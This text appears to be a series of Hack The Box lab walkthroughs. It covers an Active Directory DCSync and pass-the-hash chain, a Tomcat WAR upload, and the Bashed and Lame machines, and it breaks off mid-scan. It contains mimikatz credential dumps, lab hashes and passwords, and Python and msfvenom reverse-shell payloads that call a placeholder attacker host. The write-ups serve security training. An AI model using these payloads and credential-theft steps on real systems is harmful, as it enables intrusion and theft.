    tspkg :
    wdigest :
     * Username : tpetty
     * Domain   : INLANEFREIGHT
     * Password : Sup3rS3cur3D0m@inU2eR
    kerberos :
     * Username : tpetty
     * Domain   : INLANEFREIGHT.LOCAL
     * Password : (null)
    ssp :
    credman :

mimikatz(commandline) # exit
Bye!

Now we got back plain text password:Sup3rS3cur3D0m@inU2eR for:tpetty

Let's check what the user can do:

PS C:\Users\tpetty> Import-Module .\PowerView.ps1
PS C:\Users\tpetty> $sid = Convert-NameToSid tpetty
PS C:\Users\tpetty> Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}


ObjectDN               : DC=INLANEFREIGHT,DC=LOCAL
ObjectSID              : S-1-5-21-2270287766-1317258649-2146029398
ActiveDirectoryRights  : ExtendedRight
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 89e95b76-444d-4c62-991a-0facbeda640c
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 256
SecurityIdentifier     : S-1-5-21-2270287766-1317258649-2146029398-4607
AceType                : AccessAllowedObject
AceFlags               : None
IsInherited            : False
InheritanceFlags       : None
PropagationFlags       : None
AuditFlags             : None

ObjectDN               : DC=INLANEFREIGHT,DC=LOCAL
ObjectSID              : S-1-5-21-2270287766-1317258649-2146029398
ActiveDirectoryRights  : ExtendedRight
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 256
SecurityIdentifier     : S-1-5-21-2270287766-1317258649-2146029398-4607
AceType                : AccessAllowedObject
AceFlags               : None
IsInherited            : False
InheritanceFlags       : None
PropagationFlags       : None
AuditFlags             : None

ObjectDN               : DC=INLANEFREIGHT,DC=LOCAL
ObjectSID              : S-1-5-21-2270287766-1317258649-2146029398
ActiveDirectoryRights  : ExtendedRight
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 256
SecurityIdentifier     : S-1-5-21-2270287766-1317258649-2146029398-4607
AceType                : AccessAllowedObject
AceFlags               : None
IsInherited            : False
InheritanceFlags       : None
PropagationFlags       : None
AuditFlags             : None

We notice the GUIDs below after checking them online which can lead to DCSync attack:

1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
89e95b76-444d-4c62-991a-0facbeda640c

Replicating Directory Changes + Replicating Directory Changes All (with ExtendedRight on the domain object)

I connect to the host via RDP:

┌─[eu-academy-1]─[10.10.14.30]─[htb-ac-2510340@htb-hnkzcchgmi]─[~]
└──╼ [★]$ proxychains xfreerdp /v:172.16.6.50 /u:svc_sql /p:lucky7 /size:600x550[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:3389  ...  OK

Then I ran runas /user:INLANEFREIGHT\tpetty powershell.exe to run as tpetty, this open another powershell running as tpetty

To futher enumerate I need mimikatz on the host, so I decided to connect the host via evil-winrm to make it easy to upload scripts. I uploaded mimikatz via evil-winrm in the tpetty DIR for easy access

proxychains evil-winrm -i 172.16.6.50 -u svc_sql -p lucky7
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.50:5985  ...  OK
*Evil-WinRM* PS C:\Users\svc_sql.INLANEFREIGHT\Documents> cd C:\
*Evil-WinRM* PS C:\> cd Users
*Evil-WinRM* PS C:\Users> cd tpetty

Then I run mimikatz on the powershell running as tpetty

PS C:\Users\tpetty> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz #

Once mimikatz is running, you should see mimikatz # then run privilege::debug


mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

The run lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator to get domain Admin hash

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/11/2022 9:24:49 PM
Object Security ID   : S-1-5-21-2270287766-1317258649-2146029398-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 27dedb1dab4d8545c6e1c66fba077da0
    ntlm- 0: 27dedb1dab4d8545c6e1c66fba077da0
    ntlm- 1: bdaffbfe64f1fc646a3353be1c2c3c99
    lm  - 0: 757743529af55e110994f3c7e3710fc9

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : b8bcb44123b3cc3bff20c663f1e0b94d

* Primary:Kerberos-Newer-Keys *
    Default Salt : INLANEFREIGHT.LOCALAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : a76102a5617bffb1ea84ba0052767992823fd414697e81151f7de21bb41b1857
      aes128_hmac       (4096) : 69e27df2550c5c270eca1d8ce5c46230
      des_cbc_md5       (4096) : c2d9c892f2e6f2dc
    OldCredentials
      aes256_hmac       (4096) : 51d2b5ce03d6ea2e75e69050f32b927d0e602c2806dcb0d1dd0aacdda619a510
      aes128_hmac       (4096) : b93da9262f5ce0ed724ce0177366bc8a
      des_cbc_md5       (4096) : 0876d604a7087cf7
    OlderCredentials
      aes256_hmac       (4096) : 23cbc0dad348bebcbdbb4c82e9b23af299e8b56de358bafe24f2235f34497e4a
      aes128_hmac       (4096) : e35eb565af30c8ed79df5d8875508df6
      des_cbc_md5       (4096) : 4904021983252cd5

* Primary:Kerberos *
    Default Salt : INLANEFREIGHT.LOCALAdministrator
    Credentials
      des_cbc_md5       : c2d9c892f2e6f2dc
    OldCredentials
      des_cbc_md5       : 0876d604a7087cf7

Now we have Domain Admin hash, I tried cracking the hash but no luck so I decided to pass the hash using evil-winrm to log in to DC:


─[eu-academy-1]─[10.10.14.30]─[htb-ac-2510340@htb-hnkzcchgmi]─[~]
└──╼ [★]$ proxychains evil-winrm -i 172.16.6.3 -u Administrator -H 27dedb1dab4d8545c6e1c66fba077da0
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.3:5985  ...  OK
PS C:\Users\Administrator\Desktop> whoami
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.3:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.6.3:5985  ...  OK
inlanefreight\administrator

Game Over.... Domain admin compromised!!!!!!

HTB (Jerry) — Walkthrough

Michael Oladele — Wed, 22 Apr 2026 18:00:19 +0000

Enumeration

nmap -p- 10.129.136.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 08:13 CDT
Nmap scan report for 10.129.136.9
Host is up (0.070s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 108.21 seconds

I got back only port 8080 let's dig in more into the port

Service Enumeration - port:8080

nmap -A -p8080 10.129.136.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 08:16 CDT
Nmap scan report for 10.129.136.9
Host is up (0.071s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2012|8|Phone|7 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Embedded Standard 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 8080/tcp)
HOP RTT      ADDRESS
1   70.54 ms 10.10.14.1
2   70.77 ms 10.129.136.9

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.87 seconds

We found that the service running is Tomcat. Let's chek for directories, but first, let's browse to the page.

Now from the webpage, we can confirm the Tomcat version to be Tomcat/7.0.88.

Now our gobuster scan is back:

gobuster dir -u http://10.129.23.21:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,sh,pl,cgi,aspx
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.23.21:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,sh,pl,cgi,aspx,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs                 (Status: 302) [Size: 0] [--> /docs/]
/examples             (Status: 302) [Size: 0] [--> /examples/]
/favicon.ico          (Status: 200) [Size: 21630]
/host-manager         (Status: 302) [Size: 0] [--> /host-manager/]
/manager              (Status: 302) [Size: 0] [--> /manager/]
Progress: 36912 / 36920 (99.98%)
===============================================================
Finished
===============================================================

When we attemp to check the /manager and /host-manager we hit login wall.

I checked online for default credentials, I found admin:admin. But when I tried admin:admin, I got an error page that changed everything.

The error is a pointer: For example, to add the manager-gui role to a user named tomcat with a password of s3cret, add the following to the config file listed

I decided to try tomcat as the username and s3cret as the password. Like a magic, it worked, we are in.

When loged in, I discovered that I can upload a WAR file, my brain started thinking how to get reverse shell with the file upload.

I created a .war payload with msfvenon:

Exploitation:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f war -o shell.war

The payload is ready, let's upload it. Before the file is uploaded, I started an ncat listerner on my local machine with the port indicated in the msfvenom payload.

nc -lvnp 4466

Now, ready? go! File uploaded:

Successfully uploaded:

With our ncat listener already listening, let's trigger the shell by clicking/navigating on/to it. We should pop a shell.

We pop a shell. and we are authority\system which means, No need for privilege escalation.

Lesson learned

Error messages should never leak sensitive data (credentials, paths, configs)
Debugging information must be strictly separated from production environments
What seems helpful for developers can be critical intel for attackers
Secure defaults and proper error handling are part of your attack surface

Happy hacking!!!!

HTB (Bashed) — Walkthrough

Michael Oladele — Wed, 22 Apr 2026 12:31:29 +0000

Bashed is one of the beginner-friendly machines on Hack The Box that focuses on web exploitation and privilege escalation using Linux misconfigurations.

Let's start with the initial step, Enumeration:

Enumeration:

Our nmap scan returned:

nmap -p- 10.129.23.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 05:29 CDT
Nmap scan report for 10.129.23.4
Host is up (0.073s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 49.80 seconds

We got back a single openning port, port 80, let's dig in to the service: 80

Service Enumeration:

nmap -A -p80 10.129.23.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 05:34 CDT
Nmap scan report for 10.129.23.4
Host is up (0.071s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.8 (96%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   70.62 ms 10.10.14.1
2   70.74 ms 10.129.23.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.21 seconds

Our scan shows the following:

Port 80 is running Apache 2.4.18 and It's Arrexel's Development Site

Let's check what the page is like

The line highlighted in the screenshot is worth paying attention to: "phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server!"

Now let's check the directories, using gobuster:

gobuster dir -u http://10.129.23.4/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,sh,pl,cgi,aspx
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.23.4/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              pl,cgi,aspx,php,html,txt,sh
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 290]
/.html                (Status: 403) [Size: 291]
/.hta.txt             (Status: 403) [Size: 294]
/.hta                 (Status: 403) [Size: 290]
/.hta.pl              (Status: 403) [Size: 293]
/.hta.cgi             (Status: 403) [Size: 294]
/.hta.html            (Status: 403) [Size: 295]
/.hta.php             (Status: 403) [Size: 294]
/.hta.aspx            (Status: 403) [Size: 295]
/.htaccess.sh         (Status: 403) [Size: 298]
/.htaccess            (Status: 403) [Size: 295]
/.hta.sh              (Status: 403) [Size: 293]
/.htaccess.cgi        (Status: 403) [Size: 299]
/.htaccess.pl         (Status: 403) [Size: 298]
/.htpasswd.sh         (Status: 403) [Size: 298]
/.htaccess.aspx       (Status: 403) [Size: 300]
/.htaccess.txt        (Status: 403) [Size: 299]
/.htaccess.html       (Status: 403) [Size: 300]
/.htpasswd.txt        (Status: 403) [Size: 299]
/.htpasswd.pl         (Status: 403) [Size: 298]
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess.php        (Status: 403) [Size: 299]
/.htpasswd.aspx       (Status: 403) [Size: 300]
/.htpasswd.cgi        (Status: 403) [Size: 299]
/.htpasswd.html       (Status: 403) [Size: 300]
/.htpasswd.php        (Status: 403) [Size: 299]
/about.html           (Status: 200) [Size: 8193]
/config.php           (Status: 200) [Size: 0]
/contact.html         (Status: 200) [Size: 7805]
/css                  (Status: 301) [Size: 308] [--> http://10.129.23.4/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.129.23.4/dev/]
/fonts                (Status: 301) [Size: 310] [--> http://10.129.23.4/fonts/]
/images               (Status: 301) [Size: 311] [--> http://10.129.23.4/images/]
/index.html           (Status: 200) [Size: 7743]
/index.html           (Status: 200) [Size: 7743]
/js                   (Status: 301) [Size: 307] [--> http://10.129.23.4/js/]
/php                  (Status: 301) [Size: 308] [--> http://10.129.23.4/php/]
/server-status        (Status: 403) [Size: 299]
/single.html          (Status: 200) [Size: 7477]
/uploads              (Status: 301) [Size: 312] [--> http://10.129.23.4/uploads/]
Progress: 36912 / 36920 (99.98%)
===============================================================
Finished
===============================================================

The /dev looks juicy, When I chck it out I saw two file:

It's like we got bash in the browser, let's check each of the files:

We can se got phpbash in the browser and we successfully run a command. Now let's see if we can get a reverse shell via this bash.

Exploitation

I got the shell code below redy to run on the php bash:

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",attacker_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Before running the code in the phpbash, start my ncat listener:

nc -lvnp 4466

Then run the code in the php bash to pop a shell. We pop a shell, now we own the machine.

But if you noticed, we have low privilege because we are currently www-data, so we need to elevate our privilege.

Privilege Escalation:

So by default, the first thing I do is to run sudo -l to check the commands I can run with sudo without password. So let's run sudo -l

www-data@bashed:/var/www/html/dev$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/var/www/html/dev$

This: (scriptmanager : scriptmanager) NOPASSWD: ALL is very important

This means as the user scriptmanager we can switch to scriptmanager with sudo without password, let's try that out.

The command above allows us to Log me into a new shell session as the user 'scriptmanager' with their full environment loaded:

sudo -u scriptmanager -i

Now let's try to look around to see if we can find any scritps we can ride to root access.

Let's change dir to scriptmanager home dir:

scriptmanager@bashed:$ cd /
cd /
scriptmanager@bashed:/$ ls
ls
bin   etc         lib         media  proc  sbin     sys  var
boot  home        lib64       mnt    root  scripts  tmp  vmlinuz
dev   initrd.img  lost+found  opt    run   srv      usr
scriptmanager@bashed:/$ ls -la
ls -la
total 92
drwxr-xr-x  23 root          root           4096 Jun  2  2022 .
drwxr-xr-x  23 root          root           4096 Jun  2  2022 ..
-rw-------   1 root          root            212 Jun 14  2022 .bash_history
drwxr-xr-x   2 root          root           4096 Jun  2  2022 bin
drwxr-xr-x   3 root          root           4096 Jun  2  2022 boot
drwxr-xr-x  19 root          root           4140 Apr 22 03:27 dev
drwxr-xr-x  89 root          root           4096 Jun  2  2022 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Jun  2  2022 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Jun  2  2022 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 176 root          root              0 Apr 22 03:27 proc
drwx------   3 root          root           4096 Apr 22 03:28 root
drwxr-xr-x  18 root          root            520 Apr 22 03:28 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Jun  2  2022 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Apr 22 03:27 sys
drwxrwxrwt  10 root          root           4096 Apr 22 04:25 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Jun  2  2022 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
scriptmanager@bashed:/$ pwd

We found a directory with the name /scripts own by scriptmanager that must be what we are looking for, let's change directory into the /scripts dir:

There are two files in the folder, test.py and test.txt. Let's check the content of test.py first to understand the file.

We can see that test.py is a python script which opens test.txt, write a text in the test.txt and close it again and we noticed that test.txt is owned by root, so let's try if we can modify the test.py to get reverse shell, which should give us root access if succesful.

Let's try reverse shell code below and replace the content of test.py file

echo 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",attacker_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' > /scripts/test.py

Once we update the file, we start an ncat listerner on our local machine and wait. Spray and wait:

Yeeeeeeepeee!!!!!! We pop a shell after about a minute, we are root:

Lesson learned

The Bashed machine was a solid reminder that sometimes the simplest oversights like leaving a PHP shell in a web directory or misconfigured script permissions can lead to full system compromise. From light web enumeration to privilege escalation through a writable cron-executed Python script, every stage reinforced real-world penetration testing techniques.

Each attempt, including those that didn’t work, played a part in ultimately rooting the box. That’s what makes CTFs like this so valuable they teach patience, observation, and persistence.

HTB Lame - NO Metasploit Walkthrough

Michael Oladele — Mon, 20 Apr 2026 23:16:26 +0000

In this walkthrough, we’re going to explore two ways to root Lame without metasploit. If you are ready let's dive in.

We would start with an nmap scan as usual:

Enumeration

nmap -p- 10.129.22.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-20 15:30 CDT
Nmap scan report for 10.129.22.59
Host is up (0.070s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

I usually check all port first, then check each services individually. We would follow the same flow here.

We got ftp, ssh, smb and distccd, let's look into these services one at a time:

21 - FTP:

nmap -A -p21 10.129.22.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-20 15:34 CDT
Nmap scan report for 10.129.22.59
Host is up (0.071s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.15.162
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (92%), DD-WRT v24-sp1 (Linux 2.4.36) (90%), Arris TG862G/CT cable modem (90%), Control4 HC-300 home controller (90%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (90%), Dell Integrated Remote Access Controller (iDRAC6) (90%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (90%), Linux 2.4.21 - 2.4.31 (likely embedded) (90%), Linux 2.4.27 (90%), Linux 2.4.7 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Unix

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   70.36 ms 10.10.14.1
2   70.76 ms 10.129.22.59

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.36 seconds

From our scan Anonymous FTP login allowed (FTP code 230), this sounds good.

Let's try to login, we are able to login but nothing serious in there

ftp 10.129.22.59
Connected to 10.129.22.59.
220 (vsFTPd 2.3.4)
Name (10.129.22.59:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||53820|).
150 Here comes the directory listing.
226 Directory send OK.

But when we check the version of the ftp, vsftpd 2.3.4
We found out that this version is vulnerable to: VSFTPD 2.3.4 Backdoor Command Execution.

But because we do not want to use metasploit, let's check other services.

22 - ssh

nmap -A -p22 10.129.22.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-20 15:39 CDT
Nmap scan report for 10.129.22.59
Host is up (0.071s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (91%), DD-WRT v24-sp1 (Linux 2.4.36) (90%), Arris TG862G/CT cable modem (90%), Dell Integrated Remote Access Controller (iDRAC6) (90%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (90%), Linux 2.4.21 - 2.4.31 (likely embedded) (90%), Linux 2.4.27 (90%), Linux 2.4.7 (90%), Linux 2.6.27 - 2.6.28 (90%), Linux 2.6.8 - 2.6.30 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   70.14 ms 10.10.14.1
2   70.53 ms 10.129.22.59

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.82 seconds

It seems nothing is in ssh

Let's move to smb, for the smb we are going to combine the 339/445

339/445 - samba

nmap -A -p139,445 10.129.22.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-20 15:42 CDT
Nmap scan report for 10.129.22.59
Host is up (0.071s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (90%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (90%), Dell Integrated Remote Access Controller (iDRAC5) (90%), Linux 2.4.21 - 2.4.31 (likely embedded) (90%), Linux 2.4.7 (90%), Linux 2.6.18 (ClarkConnect 4.3 Enterprise Edition) (90%), Linux 2.6.8 - 2.6.30 (90%), Dell iDRAC 6 remote access controller (Linux 2.6) (90%), Linksys WRV54G WAP (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Host script results:
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-04-20T16:43:38-04:00
|_clock-skew: mean: 2h00m39s, deviation: 2h49m44s, median: 37s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   70.41 ms 10.10.14.1
2   70.59 ms 10.129.22.59

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.91 seconds

The smb/samba version discovered: smbd 3.0.20-Debian. Let's try to access the shares with smbclient:

smbclient //10.129.22.59/anonymous
Password for [WORKGROUP\iamdayone]:
Anonymous login successful
tree connect failed: NT_STATUS_BAD_NETWORK_NAME

It shows Anonymous login successful, let's try to list the shares:

smbclient -L \\\\10.129.22.59\\
Password for [WORKGROUP\iamdayone]:
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    tmp             Disk      oh noes!
    opt             Disk      
    IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
    ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            LAME

I was able to list the share, but I was unable to access any of the shares.

Now let's check the version on google for any know vulnerability, We found out that the samba version 3.0.20 is vulnerable to: username map script.

Remember that we still have one more service left, let's try to enumerate the service also, why not:

3632 - distccd

nmap -A -p3632 10.129.22.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-20 15:45 CDT
Nmap scan report for 10.129.22.59
Host is up (0.071s latency).

PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
